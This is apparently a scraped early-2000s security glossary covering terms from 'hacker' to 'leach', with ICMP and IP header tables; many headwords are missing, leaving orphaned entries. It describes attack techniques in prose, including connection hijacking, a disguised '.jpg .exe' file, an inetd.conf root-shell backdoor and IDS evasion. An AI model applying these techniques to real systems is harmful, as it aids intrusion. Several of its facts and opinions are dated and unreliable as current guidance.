History: The word "hacker" started out in the 14th century to mean somebody who was inexperienced or unskilled at a particular activity (such as a golf hacker).
In the 1970s, the word "hacker" was used by computer enthusiasts to refer to themselves. This reflected the way enthusiasts approach computers: they eschew formal education and play around with the computer until they can get it to work. (In much the same way, a golf hacker keeps hacking at the golf ball until they get it in the hole).
Furthermore, as "experts" learn about the technology, the more they realize how much they don't know (especially about the implications of technology). When experts refer to themselves as "hackers", they are making a Socratic statement that they truly know nothing. For more information on this connotation, see ESR's computer enthusiast "Jargon File".
Key point: Today if you do a quick search of "hacker" in a search engine, you will still occasional uses of the word in senses used in the 1400s and 1970s, but the overwhelming usage in the 1990s describes people who break into computers using their sorcerous ways. Likewise, the vast majority of websites with the word "hack" in their title refer to illegitimate entry into computer systems, with notable exceptions like http://www.hacker.com (for golf).
Controversy: The computer-enthusiast community does not like using "hacker" to describe malicious people; they prefer "cracker". The security-community restricts the use of the word "cracker" to some who breaks encryption and copy-protection schemes.
Consequently, a journalist who writes about cybercriminals cannot use either word without hate mail from the opposing community claiming they are using the word incorrectly. If a journalists writes about hackers breaking into computers, they will receive hate-mail claiming that not all hackers are malicious, and the that the correct word is "cracker". Likewise, if they write about crackers breaking into computers, they will receive hate-mail claiming that crackers only break codes, but its hackers who break into systems. The best choice probably depends upon the audience; for example one should definitely talk about malicious crackers in a computer-enthusiast magazine like Linux Today.
Misconception: People believe (incorrectly) that the hacker activists are fighting for a cause. This is rarely true; most hacktivists are normal hackers who use a "cause" to justify their actions. This is similar to the psychology of most terrorist groups. Psychologists say that the average terrorist is simply a violent person looking for a reason to justify their tendancies, rather than being revolutionaries who regret the violence they feel is necessary.
Point: You'll see as many website defacements promoting open-source products like Linux and Apache as for political or religious agendas. This is actually part of the same hacktivist emotions: for many geeks, open-source is a political movement. To them, promoting open-source is as important as solving unrest in Ireland or helping feed starving children in Africa.
Point: Most handles aren't consciously chosen but instead are just the ones that "stick". They might start out as a randomly chosen name on a BBS or the name of a character in Dungeons and Dragons.
Misconception: Having a handle is not related to somebody's skill as a hacker. Likewise, using handles is not related to criminal intent. This is important because the FBI believes otherwise, and in court will attempt to use your handle to help prove that you are part of a nefarious conspiracy and a danger to society.
Example: The following a is a random list of some aliases; it isn't meant to be an exhaustive list or a list of the most famous hackers; it is just some that I can come up with off the top of my head.
Example: Some common uses of hashes are:
Example: The program "tripwire" detects intrusions by calculating a hash of all programs/binaries. On a regular basis, it recalculates the hash. If a file has changed, then the hash will also have changed. Tripwire then "trips" whenever the latest calculated hash of the file does not match the one stored in its database.
Example: Some common hash algorithms are:
See also: integrity
Key point: Hex is so important because 4-bits have 16-possible combinations. Therefore, a 4-bit value can be represented by a single hex digit. In this manner, every byte (8-bits) can be represented by two hex digits.
Key point: Script kiddies tend to dismiss hexadecimal as one of those "unnecessary details". In reality, you must be able to comfortably do hex math in your head, and freely convert with binary. You should also be able to interpret hexdumps, where a block of data is dumped out into columns of hex numbers. A tutorial for this is at http://www.robertgraham.com/pubs/sniffing-faq.html#hexadecimal.
Key point: My mother, an otherwise avowed computerphobe, calculates her age in hex. She is in her early 0x30s. (For those who cannot do the math as well as my mom, 0x30 == 3*16 == 48).
Example: The following quote describes a social engineering attack:
The Hitchhiker's Guide to the Galaxy has a few things to say on the subject of towels.A towel, it says, is about the most massively useful thing an interstellar hitchhiker can have. Partly it has great practical value. You can wrap it around you for warmth as you bound across the cold moons of Jaglan Beta; you can lie on it on the brilliant marble-sanded beaches of Santraginus V, inhaling the heady sea vapors; you can sleep under it beneath the stars which shine so redly on the desert world of Kakrafoon; use it to sail a miniraft down the slow heavy River Moth; wet it for use in hand-to-hand combat; wrap it round your head to ward off noxious fumes or avoid the gaze of the Ravenous Bugblatter Beast of Traal (a mind-bogglingly stupid animal, it assumes that if you can't see it, it can't see you-daft as a brush, but very very ravenous); you can wave your towel in emergencies as a distress signal, and of course dry yourself off with it if it still seems to be clean enough.
More importantly, a towel has immense psychological value. For some reason, if a strag (strag: nonhitchhiker) discovers that a hitchhiker has his towel with him, he will automatically assume that he is also in possession of a toothbrush, washcloth, soap, tin of biscuits, flask, compass, map, ball of string, gnat spray, wet-weather gear, space suit, etc., etc. Furthermore, the strag will then happily lend the hitchhiker any of these or a dozen other items that the hitchhiker might accidentally have "lost." What the strag will think is that any man who can hitch the length and breadth of the Galaxy, rough it, slum it, struggle against terrible odds, win through and still know where his towel is, is clearly a man to be reckoned with.
Hence a phrase that has passed into hitchhiking slang, as in "Hey, you sass that hoopy Ford Prefect? There's a frood who really knows where his towel is." (Sass: know, be aware of, meet, have sex with; hoopy: really together guy; frood: really amazingly together guy.)
Key point: The answer to life, the universe, and everything is 42.
Example: ISPs generally reassign IP addresses of dialing users very quickly after a previous user hung up. Take for example where Alice dials up the Internet, telnets to a host, then for some reason hangs up without gracefully closing the connection. Now consider Mark, who dials-up later and is assigned the same IP address. Let's say that Mark has created his own TCP/IP stack that automatically hijacks any existing connection. The server then sends some response packet back across the connection to Alice (really Mark). At that point, Mark's stack automatically picks up the connection and continues the protocol. At this point, Mark can do anything he wants on Alice's account.
Example: Similar to above, hackers often hijack connections by first nuking one end of the connection, then spoofing that side's IP address.
Example: Spammers scour the Internet looking for open USENET NNTP servers. If they find a server they can post floods of spam through, this is known as "hijacking" the USENET server.
Controversy: The rules extend to any partner that might be contracted by the covered entity, such as telecommunications, computer consultants, legal, accounting, financial, etc. This means that the effect of HIPAA affects a huge portion of the industry outside of health care.
Key point: HIPAA protects against "involuntary disclosure", e.g. a hacker breaks into a computer and steals records. Therefore, HIPAA mandates certain computer security practices (along with physical security etc.). A company will need to have a security officer, document security procedures, conduct risk assessments, encrypt data, keep audit trails, and so forth.
History: The 1974 Privacy Act provided laws governing federal procedures for handling health care records. Numerous other laws govern various parts of handling health care records, often with conflicting goals. These laws were difficult to follow: HIPAA brings them all under a single umbrella.
Key point: HIPAA is so complicated that is has created consultants who specialize in HIPAA. The broad reaching effect means that every security consultant will need to know some things about it.
See also: privacy
Misunderstanding: A common misconception is that by advertising the system or inviting hackers in causes you to lose all rights to prosecute the hacker. Honeypots do not advertise themselves nor invite hackers. They simply sit on the network waiting to be discovered and hacked. If a hacker doesn't search them out, they won't find them. Similarly, honeypots can contain legal notices in their banners telling hackers to go away.
Culture: The term is an outgrowth of the older abbreviation "h/p" (hack/phreak).
Key point: HTTP is text based, so you can use Telnet or netcat as your client (if you understand the protocol). For example, you can telnet www.example.com 80 to connect to a web-service and enter the command GET / HTTP/1.0<cr><cr> in order to download the home page. The diagram below shows a typical request/response exchange between a web-browser and a server:
| Request | Response |
|---|---|
|
GET /index.html HTTP/1.0 Accept: */* Referer: http://bob.example.com/ Accept-Language: en-us Accept-Encoding: gzip, deflate If-Modified-Since: Mon, 17 Sep 2001 23:01:31 GMT; length=72 User-Agent: Mozilla/4.0 (compatible; MSIE.5.01; Windows NT 5.0) Host: www.example.com |
HTTP/1.0 304 Not Modified Date: Sat, 24 Nov 2001 12:04:44 GMT Content-Type: text/html Last-Modified: Mon, 17 Sep 2001 23:01:31 GMT Age: 233860 |
Exploits: The most common exploits against HTTP servers are:
[ ice | ICMP | ICMP Format | ICMP Type/Codes | ICQ | id | IDEA | identd | identification | identity | identity theft | IDS | IEEE | IIS | IMAP | IMAP4 | incident | incident team | inetd | information warfare | INFOSEC | infowar | InfraGuard | input validation | integrity | intellectual property | intelligence community | interactive logon | Internet Control Message Protocol | Internet Mail Access Protocol | intrusion | Intrusion Countermeasure Electronics | intrusion detection system | IP | IP address | IPsec | IRC | island-hopping | ISO/IEC 17799-1 | ISP ]
Contrast: Whereas the protocols TCP and UDP carry data, ICMP carries only control messages. Therefore, it is unlikely that a hacker can break into your machine using ICMP. However, evildoers can use ICMP for other purposes:
Misunderstanding: Packet filtering firewalls work by filtering source/destination ports in the TCP or UDP transport protocols. However, as a secondary function, they also filter ICMP type and code numbers. In order to simplify configuration, they sometimes call these fields "ports" in order to make the configuration similar to TCP or UDP.
Key point: A common question is which ICMP traffic should be filtered by a firewall. ICMP consists of "control" messages, some of which are needed, others are desirable, and still others can be used to cause problems on your network. At minimum, you need to allow "can't fragment" messages so that TCP path MTU discovery. People usually like such packets as "destination unreachable" so that connections timeout faster with a more helpful error message. Likewise, users like to do pings and traceroutes through the firewall. Other than that, all other packets should be filtered. In particular, ICMP router advertisements and redirects are extremely bad to allow through your firewall.
An ICMP header is 8-bytes (64-bits) long. It may contain more data depending upon the exact operation being performed.
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Type | Code | Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Type ^ | This 8-bit field contains the major type number. See http://www.robertgraham.com/pubs/firewall-seen.html#icmp for more information. |
|---|---|
| Code ^ | This 8-bit field contains the minor type (or subtype). For many types, it is simply zero. |
The full list of these codes is at: http://www.isi.edu/in-notes/iana/assignments/icmp-parameters
| Type | Code | Name | Summary |
| 0 | * | Echo Reply ICMP_ECHOREPLY ping reply |
A response to a ping. Many firewalls allow ping responses so that internal
people can gain access to external resources. Therefore, they are an effective
flooding technique. This means they also work well as a covert-channel.
The massive DDoS attacks that took down the major Internet portals
used commands embedded within ping responses to initiate the attacks. One of the attacks also
used ping replies to flood the servers.
Firewall: Either block incoming ping responses or rate limit them. [more] |
| 3 | * | Destination Unreachable ICMP_UNREACH |
An indication back from a host/router that some you sent packet did not reach its destination.
Firewall: In practice, these are needed simply for helpful error messages why communication failed. The only one strictly needed through a firewall is the one that indicates a router couldn't fragment a packet. [more] |
| 0 | Net Unreachable ICMP_UNREACH_NET |
Route configuration problem or incorrectly specified IP address.
[more] | |
| 1 | Host Unreachable ICMP_UNREACH_HOST | It means that the router one hop before the desired host could not ARP the host. | |
| 2 | Protocol Unreachable ICMP_UNREACH_PROTOCOL |
This means that the receiver of the packet does not have anything
that recognizes the specified IP protocol
of the packet.
Key point: This is almost never seen on the wire in practice, and either indicates and intrusion or some massive configuration error. | |
| 3 | Port unreachable ICMP_UNREACH_PORT |
The server tells the client that nobody is listening at the port the
client attempted to contact.
[more] | |
| 4 | Fragmentation Needed but DF set ICMP_UNREACH_NEEDFRAG |
Important: If you are seeing these in your firewall reject logs, then you've
misconfigured your firewall. You should allow this packet to pass through,
otherwise your clients will see their TCP connections mysteriously hang.
[more] | |
| 4 | * | Source Quench ICMP_SOURCEQUENCH |
Congestion on the Internet. Somebody could flood your network with these packets
in an attempt to convince your machines to slow down transmitting data.
[more] |
| 5 | * | Redirect ICMP_REDIRECT |
Somebody is trying to redirect your default router. This could
be from a hacker trying to execute a man-in-the-middle attack against you by
causing you to route through their own machine.
[RFC792] |
| 8 | * | Echo Request ICMP_ECHO Ping |
Ping.
[more] |
| 9 | * | Router Advertisement ICMP_ROUTERADVERT |
There is exists a hack against Win9x and Solaris such that a hacker
can DoS you by redirecting your default router. A neighboring hacker
can also do a man-in-the-middle attack by directing you through his/her router.
[RFC1256] |
| 11 | * | Time Exceeded In Transit ICMP_TIMXCEED | It means that a packet never reached its target because something timed out. |
| 0 | TTL Exceeded ICMP_TIMXCEED_INTRANS |
Router dropped the packet either because of a routing loop or maybe because of a traceroute.
[more] | |
| 1 | Fragment reassembly timeout ICMP_TIMXCEED_REASS |
The host dropped the packet because it didn't receive all the fragments.
[more] | |
| 12 | * | Parameter Problem |
Something unusual is going on, and probably indicates an attack.
[more] |
| 13 | * | Timestamp ICMP_TSTAMP |
[RFC792] |
| 14 | * | Timestamp Reply ICMP_TSTAMPREPLY |
[RFC792] |
Key point: ICQ is a favorite service among hackers, and ICQ features are built into many trojans (such as stealing user's passwords, UINs, or notifying the hacker).
Vulnerabilities: Some versions contain a built-in web-server that under Win9x can be used to access any file on the system. Some versions have a problem such that you can send a file to a victim with the filename:
foo.jpg .exeThis is really a program, but it appears to the user as a .jpg file, so they will simply open it, not realizing it is program. ICQ inboxes can be easily flooded; there are lots of attacks/countermeasures floating around on the Internet for this. Finding somebody's IP address given their UIN is a hot topic: Mirabilis tries to hide this, but lots of tools exist to discover it anyway.
Key point: This is often the first command a hacker will run on the system when the hacker breaks in remotely. The hacker will remotely compromise a service that is running under either root account, a special account setup for that service (e.g. the majordomo service runs under a user account called "majordomo"), or a user's account. The hacker is hoping they have achieved root access immediately. If not, the hacker will have to run a local exploit in order to elevate privileges. The other popular command hackers might execute is id.
Example: Running id as root on one of my systems results in:
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
Controversy: IDEA is one of the few (widely-used) ciphers protected by patents; it requires a license for commercial use. PGP is no longer using IDEA as its default cipher because of this.
Notes: It was developed by Xuejia Lai and James L. Massey. It uses 128-bit keys. There is no known way to break it other than brute-force. It was published in 1990. Its patents are held by the Swiss company "Ascom-Tech AG".
Misconception: The name implies that IDEA is some sort of official standard -- it isn't. However, it is is widely used, and is an option on many standards.
Applications: PGP
Example: When you connect to a UNIX-based mail server, it will usually attempt a reverse connection back to you on the identd port 113. Its goal is simply to log which user was attempting access to the server.
Key point: The ways to steal personal information:
Tips: Lock away your Social Security card, birth certificate, passport, and any other piece of information that can be used to prove who you are. Always shred receipts, and allways take credit card and ATM receipts back home to be shredded. Shred all mail. Review credit-card and phone bills. Review your credit reports every couple years. Never give out your Social Security number unless required (it isn't required for health insurance, but it is required for anything related to income). Do not list your telephone number in the phone book. Make a list of all accounts (savings, credit, etc.).
Contrast: A host-based IDS monitor system events, logfiles, and so forth. A network-based IDS monitors network traffic, usually promiscuously.
Contrast: A firewall simply blocks openings into your network/system, but cannot distinguish between good/bad activity. Therefore, if you need to allow an opening to a system (like a web-server), then a firewall cannot protect against intrusion attempts against this opening. In contrast, intrusion detection systems can monitor for hostile activity on these openings.
More: See http://www.robertgraham.com/pubs/network-intrusion-detection.html for more info.
Tidbit: On Linux, the $FF variable may also be used like $IFS.
Key point: At the end of 1999, all freshly installed IIS v4.0 servers were vulnerable to the .htr buffer overflow bug and the RDO exploit. Roughly 90% of IIS servers are not sufficiently hardened against these exploits, and are thus vulnerable to being owned or defaced.
Key point: IMAP is important to hackers because many implementations are vulnerable to buffer overflow exploits. In particular, a popular distribution of Linux shipped with a vulnerable IMAP service that was enabled by default. Therefore, even today, security professionals frequently detect scans directed at port 143 looking for vulnerable IMAP servers.
Key point: The following are useful resources to such a team:
The file /etc/inetd.conf configures this service.
Key point: A common backdoor technique is to place a root shell program in inetd.conf.
Contrast: The term "information security" distinguishes itself from "physical security".
Key point: A common model used to describe security is the OSI/ISO/IEC 10181 standard. It breaks down infosec into the following areas:
Key point: The most common threats are:
Key point: The fields of infosec and hacking are not necessarily related. This is a little confusing. Infosec is the field of assuring that information is secure. Hacking is the field of breaking rules. For example, following infosec best practices, you can validate that a server is secure, data is encrypted, and that only authenticated users can gain access. However, a hacker executing a buffer overflow exploit gains access bypassing all the security measures.
Contrast: The military has a number of terms related to INFOSEC. They include:
Contrast: Information is gathered from InfraGuard chapters and funneled up to the NIPC, which analyzes and cleanses the data, and distributes it back out to its members.
Examples:
See also: buffer overflow, backtracking
Key point: Network logons can be disabled for administrators. This prevents people from stealing passwords and remotely administering the machine. This makes security easier because the server can be controlled via physical security.
Contrast: Unix has similar concepts. A local logon is through the "console". Often, root access will be denied to remote logons. Both Windows and Unix have the concept of remotely logging on via one user account, then using that account to locally upgrade to root/administrator.
Contrast:
Contrast:
Key point: All data on the Internet is carried by IP packets.
Key point: IP is an unreliable datagram protocol, meaning that routers may sometimes drop packets during congestion. A protocol like TCP must be added to IP in order to track packets and resend them if necessary.
Key point: The ability to manipulate IP headers by programs is limited, so there are few defenses against such techniques. Many hacks rely upon low-level manipulation of headers.
Key point: The IP header is shown below. Since IP is carried across a link between router-router or host-router, link headers like Ethernet, PPP, etc. may come before this header. Likewise, the payload of the IP packet comes after this header.
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Version| IHL |Type of Service| Total Length |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Identification |Flags| Fragment Offset |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Time to Live | Protocol | Header Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Destination Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Options | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Version ^ | This 4-bit field always has a value of "0100" (binary) or "4" decimal. Many plan to replace IPv4 with the much more complex IPv6 in order to solve addressing and security issues. |
|---|---|
| IHL (Initial Header Length) ^ | Indicates the length of the IP header. The length of the header is always "20-bytes" unless options are present. |
| Type of Service (ToS) ^ | Not really used, the ToS field gives hints to the router how the packet should be routed. The typical example is a connection between Las Angeles and New York where a router can choose to send the packet across a low-speed land-line (dial-up) vs. a high-speed satellite connection. The latency for a land-line is a few milliseconds, whereas a satellite can be about a second. Therefore, you want the low-latency for interactive connections like Telnet, but you want the high bandwidth for connections like FTP. Since this field isn't really used that much, hackers can use it as a covert channel. |
| Total Length ^ |
The total length of the IP datagram once the packet has been reassembled.
See: fragmentation. |
| Identification ^ |
A unique ID number for the entire packet. All fragments of a packet
carry the same ID.
Key point: Tracking the ID field over time can help fingerprint the OS. Key point: Some systems use monotonically increasing IDs, so you monitor activity on a remote machine by pinging it on a regular basis. Key point: A covert channel can be created by encapsulating information in this field. Key point: Windows machines, and many other systems based upon x86 CPUs, will use little-endian ID fields and monotonically increasing numbers. This means that the IP ID that follows 0x1234 will be 0x1334, not 0x1235. |
| Flags ^ |
There are two flags that control fragmentation.
The DF (Don't Fragment) bit
tells routers not to fragment this packet. The MF (More Fragments) bit
indicates that this is not the last fragment in the packet.
Key point: You can evade network-based IDS sometimes by careful use of the DF bit and oversized packets that must be fragmented. See: fragmentation. Key point: Different systems check the flags differently. For example, in order to test for a SYN (which initiates a connection), code could check using either (flags == TCP_SYN) or (flags & TCP_SYN). The first checks to see if the SYN, and only the SYN is set. The second checks for SYN, but ignores the other flags. This can be useful in fingerprinting an OS by or evading an intrusion detection system. |
| Fragment Offset ^ |
The offset from the start of the original packet that this fragment starts.
Key point: The Ping-of-Death exploit resulted by combining a fragment offset plus fragment length in order to exceed the maximum IP packet size. |
| Time to Live (TTL) ^ |
This field indicates how many hops (routers) the packet can pass through
before being discarded. Each router who forwards the packet decrements
this field by one. When a router decrements the field to zero, it
assumes a routing loop has occurred and sends back an ICMP
message back to the sender.
Key point: Abuse of the TTL field, after fragmentation is the most useful technique for manipulating IP headers. In addition, it is easy to manipulate this field at the sockets layer. Key point: The traceroute program finds all the routers in the path to a target by sending out many packets with varying TTL fields. This causes every router to receive a TTL in one of the packets that it zeroes out, causing it to report its existence back to traceroute. Key point: Tracerouting through firewalls is sometimes possible by adjusting the TTL of TCP replies. |
| Protocol ^ |
This field indicates the next protocol header after the IP header. Examples
are a value of 1 for ICMP, 6 for TCP,
and 17 for UDP.
Key point: Some rootkits use this as a way of invisibly transporting data since most systems cannot detect or log unknown protocols at this layer. |
| Source Address ^ |
The IP address of who sent the packet. This is included
in every packet so that the destination knows who to respond to, and any
errors can likewise be sent back to the sender.
Key point: The IP address can be forged (spoofed). This can sometimes be useful despite the fact that it causes any responses to be sent back to the spoofed IP address rather than the real sender. |
| Destination Address ^ | The IP address of where the packet is going to. Each router along the way compares this IP address to internal routing tables in order to figure out which direction to forward the packet. |
| Options ^ |
Additional options that can affect how the packet is routed. Multiple options
can be specified.
Key point: 99.999% of all IP packets have no options. Some IDSs trigger simply whenever they see an option field. Key point: The most common option used for attacks is source routing. |
| Padding ^ | An IP headers must be aligned on even 32-bit boundaries, which may sometimes require nul bytes to be added. |
Analogy: You own a phone. You have a phone number. Anybody anywhere in the world can dial your phone number and cause your phone to ring. You own a computer; it has an IP address. Anybody anywhere in the world can send traffic to your machine. In much the same way that you don't have to answer the telephone, if the traffic people send you isn't meaningful, your computer will ignore it. Since the machine generally ignores all unsolicited traffic, casual users on the Internet are rarely aware that hackers somewhere are trying to access their machine.
Key point: The IP address shows up inadvertently in many communications. By examining the details of e-mail headers, you can usually find the IP address that somebody sent e-mail from -- even if the user is behind a firewall. This a common way that soi dissant hackers are caught: they attempt to use anonymous e-mail services to send mail, only to be caught by the inclusion of their IP address in the headers.
Key point: IPsec's main use today is when tunneling traffic for VPNs. It can also work for generic encryption of data between two hosts.
Algorithms: Diffie-Hellman
Analogy: We write the dollar amount on personal checks both as numbers as well as words. This prevents somebody from altering the value, such as adding an extra digit to the number in order to extract $1000 from you rather than the authorized $100.
Key point: We use cryptographic hashes as a way of fingerprinting documents and detecting when they are changed. The two most popular hashes are SHA-1 and MD5.
Key point: Typical attacks against integrity include modification, insertion, deletion, and replay of information.
Contrast: The terms integrity and authenticity are widely used to mean the same thing. In other situations, they have subtly different meanings (especially law). The term integrity generally describes defenses against malicious alteration of a message once it has been sent, whereas authenticity also implies some validation of the sender of the message to protect against forgeries.
Contrast: Another way looking at integrity is system integrity. The concern is maintaining the integrity of the computer itself, rather than a message that goes across the wire. In this context, the goals are to prevent files from being modified or programs from being installed on the system. One of the focuses of system integrity is making sure that legitimate, authorized users do not make unauthorized modifications to the system. Programs like tripwire check the integrity of systems by maintaining a table of hashes for all files, and detecting which files change.
See also: Integrity is often mentioned along with other key security concepts such as confidentiality, authentication, and non-repudiation.
Point: Some intelligence organizations in other countries:
Key point: TODO: IRC wars
Key point: Some common attacks against IRC:
History: IRC was first started in 1988 and quickly grew to one of the most popular protocols on the Internet.
History: This was the name for the U.S. military campaign during WW-II in order to take over islands closer and closer to the enemy, using each new island as a base from which to launch further attacks.
Key point: University systems, which are based upon the idea of openness and free sharing, are a hot-bed of compromised systems from which hackers launch attacks. Increasingly, home user machines attached to DSL lines and cable-modems are being compromised and used to launch attacks from.
Contrast: Today's ISP is often differentiated. Some provide "retail" service to home and business customers at the edge of the networks, others (often called "NSPs" or "network service providers") provide the backbone access to ISPs. Yet others provide primarily web-hosting services.
Key point: Many members of the hacking community maintain their own private ISP containing dial-up accounts for neighbors/friends, a couple T1 lines, and a few porn sites. Therefore, when you are attacked from a dial-up user and you complain back to that user's ISP, you may actually be just complaining back to the hacker himself.
[ jail | Java | JavaScript ]
Key point: Browsers include a "virtual machine" that encapsulates the Java program and prevents it from accessing your local machine. The theory behind this is that a Java "applet" is really content like graphics rather than full application software. However, as of July, 2000, all known browsers have had bugs in their Java virtual machines that would allow hostile applets to "break out" of this "sandbox" and access other parts of the system.
Point: Most security experts browse with Java disabled on their computers, or encapsulate it with further sandboxes/virtual-machines.
Misconception: JavaScript is completely different than Java. Netscape renamed their "LiveScript" in order to take advantage of all the marketing hype surrounding Java. Both Java and JavaScript inherit similar syntax from their C/C++ parents, but they were designed completely independently.
[ kerberos | Kerckhoff | kernel | key | key distribution | key exchange | key management | key recovery | keylogger | keypad | keystream | keystroke logger | known-plaintext ]
History: Developed at MIT in the 1980s as part of its project Athena (the netpc product that also spawned X Windows and other technologies). Kerberos has long been available as an add-on to virtually all UNIX systems. Version 4 was discovered to be insecure, and was followed by version 5. Microsoft implemented a variant of version 5 in Win2k.
Key point: Microsoft's implementation in Win2k is not quite standard in much the same way that its implementations of PPP, PPTP, IPsec, etc. all make use of proprietary extensions.
Kerberos: DES
Key point: The kernel is responsible for security, preventing one program from one user from breaking into other programs running on the same system. All systems except the older Mac and Windows do not provide this level of security.
Key point: The kernel itself does not interact with the user. For example, the word "Linux" really means just the kernel. What we see in Linux distributions is actually the kernel plus a whole bunch of UNIX-like applications built on top of it.
Contrast: There are two modes your software might be running in. Kernel mode is running within the context of the kernel itself, and describes not only the kernel but also device drivers. User mode is the context the rest of the software runs in. The key point is that when you are running in kernel mode, you've got access to the entire system and nobody can stop you. However, when you are running in user mode (especially when not logged in as root), then the kernel imposes security on your activity. This means that if you break into a normal HTTP server, you may not actually be able to break into the entire machine. However, newer versions of the Linux kernel are putting things like HTTP servers into the kernel itself (for performance reasons). An exploitable flaw in such services will allow the entire machine to be compromised.
Contrast: People are confused as to the difference between a key and a password. A key is a large number whereas a password is simply a series of letters (and possibly digits and punctuation). Since cryptography only uses keys, the password is generally converted to a number through the use of an appropriate mathematical function, like a hash. Public/private keys present a special difficulty in that they contain extremely large, unwieldy numbers that are protected by a separate password.
Contrast: There are two types of keys:
Contrast: A common question deals with the difference between 40-bit
and 128-bit encryption in web browsers like Netscape. The answer is that
the most obvious way to break the encryption and read the plain text
is to simply try all possible keys. A 40-bit key has
roughly one trillion (
Example: The following table shows the relative difficulty in cracking keys (circa year 2000).
| Bits | Difficulty |
|---|---|
| 8 | paper and pencil (puzzle appears in Sunday paper) |
| 16 | tiny computer |
| 32 | your desktop computer |
| 40 | a few computers and a fair amount of time |
| 56 | custom hardware |
| 64 | distributed.net (a hundred thousand machine cranking away for a couple of years) |
| 80 | government agencies (NSA, CIA) |
| 128 | not crackable at the current time |
| 256 | quantum computers |
Key point: Moore's Law breaks all cryptosystems, eventually. This, and only this, is why DES has become obsolete. Note: 40-bit and 128-bit keys mean the RC4 algorithm used within web-browsers to talk to web servers via SSL. The U.S. restricts export of all software whose keys are greater than 40-bits in order to be able to spy on foreigners (ostensibly only in a military engagement).
Key point: You can classify keys according to their lifetimes:
Key point: The Kerckhoff principle states that cryptography should be based upon the assumption that the enemy will discover all the details of your system. Therefore, all the security of the system should be held within the key. Not only that, the idea is that the details of the system should be actively published and publicized in the hopes that people will analyze the system, discover them, and publish the weaknesses before the enemy gets a chance to. All the best cryptosystems have been well published and analyzed in public forums.
Key point: The need to exchange keys is the reason encryption protocols are not secure. There is an absolutely secure encryption method called a one-time-pad. However, in practice, you cannot exchange vast quantities of one-time-pads.
Key point: PKI essentially solves the key exchange problem.
Key point: Governments fear widespread use of cryptography. If you think about it, every interaction you have with other human beings is moderated/controlled by governments. Most personal interactions are too small for the government to care about, such as handing somebody a dollar bill or speaking to somebody. Cryptography enables vaste new areas of human interaction that are beyond government control. Key recovery puts the genie back in the bottle, allowing goverments their control again.
Key point: Businesses also want key recovery for their own reasons. Properly encrypted data is lost when the key is lost; key recovery schemes help prevent such data loss. They therefore want a "self escrow" system whereby they can hold their own keys in a vault.
Key point: Key-recovery is easy with public key cryptography. The message is encrypted once with a random encryption key. Then, this key is encrypted many times with the public-key of possible readers. For example, an employee sending e-mail with a corporate-approved program might be sending e-mail containing his own key plus keys that the corporation and the FBI can recover.
Example:
Key point: Once keystrokes are logged, they are shipped raw to the hacker. The hacker then peruses them carefully in the hopes of either finding passwords, or possibly other useful information that could be used to compromise the system or be used in a social engineering attack. For example, a key logger will reveal the contents of all e-mail composed by the user.
Key point: Keylog programs are commonly included in rootkits and remote administration trojans.
Key point: You can also purchase hardware devices that plug-in between the keyboard and the main system (for PCs). These are OS independent, they simply start recording, then the hacker can retrieve the device and instruct it to simply spit out all the characters back again on the hackers system.
History: In November of 2001, the FBI revealed it has developed a keylogger Trojan as part of its Carnivore surveillance technologies.
Contrast: Without known plaintext, key cracking is only a little bit more difficult. Running heuristics on the output of the decryption engine makes the decryption several times harder, but when you think about this, it only means that making it four times harder is only equivalent to adding 2 bits to the key length.
Key point: Most messages contain "headers" that represent known-plaintext. IP packets all have similar headers. E-mail message all contain the same fields. Therefore, there is a fair amount of implicit plaintext that is known even when a decrypted sample of the message doesn't exist.
[ l0phtcrack | lag | LAN | LAN Manager | LDAP | leach | least privilege | libnet | libpcap | line printer | linear cryptanalysis | Linux | literature | little-endian | LOC | local exploit | local loop | logic bomb | lp | lsof ]
Key point: Much of the DoS activity on the Internet is designed to increase a victim's lag.
Key point: Local machines are usually much easier to break into than remote machines across the Internet. For example, you can spoof ARP packets in order to execute man-in-the-middle exploits against your local neighbors. Another example is where a cable-modem user has enabled File and Print Sharing via NetBEUI but not TCP/IP. They think they are safe from distant Internet hackers, but they don't realize they are still vulnerable from nearby people in their neighborhood.
Key point: Most corporate LDAP servers have little or no authentication. Finding LDAP servers and downloading their contents is an important step in the reconnaissance phase of a hacking attack.
Key point: While LDAP is in theory lightweight, in practice it is still fairly complicated. There are many implementation and deployment bugs that can be exploited in order to break into servers.
Key point: Napster (and clones) solved this problem by converting everyone's machine into equal parts client and server.
Key point: If you fight leaches on your warez servers by forcing people to upload files in order to download other files, then you a criminal according to the No Electronic Theft act of 1997. Charging people for illegal copies has long been a criminal act, but free copies has not. You would still be theoretically liable in civil court, but not in criminal court, but civil prosecution is rare (it costs more than its worth and is not worth the bad press). However, the 1997 law puts a dollar value on exchanges of illegal copies, putting it back into the criminal arena.
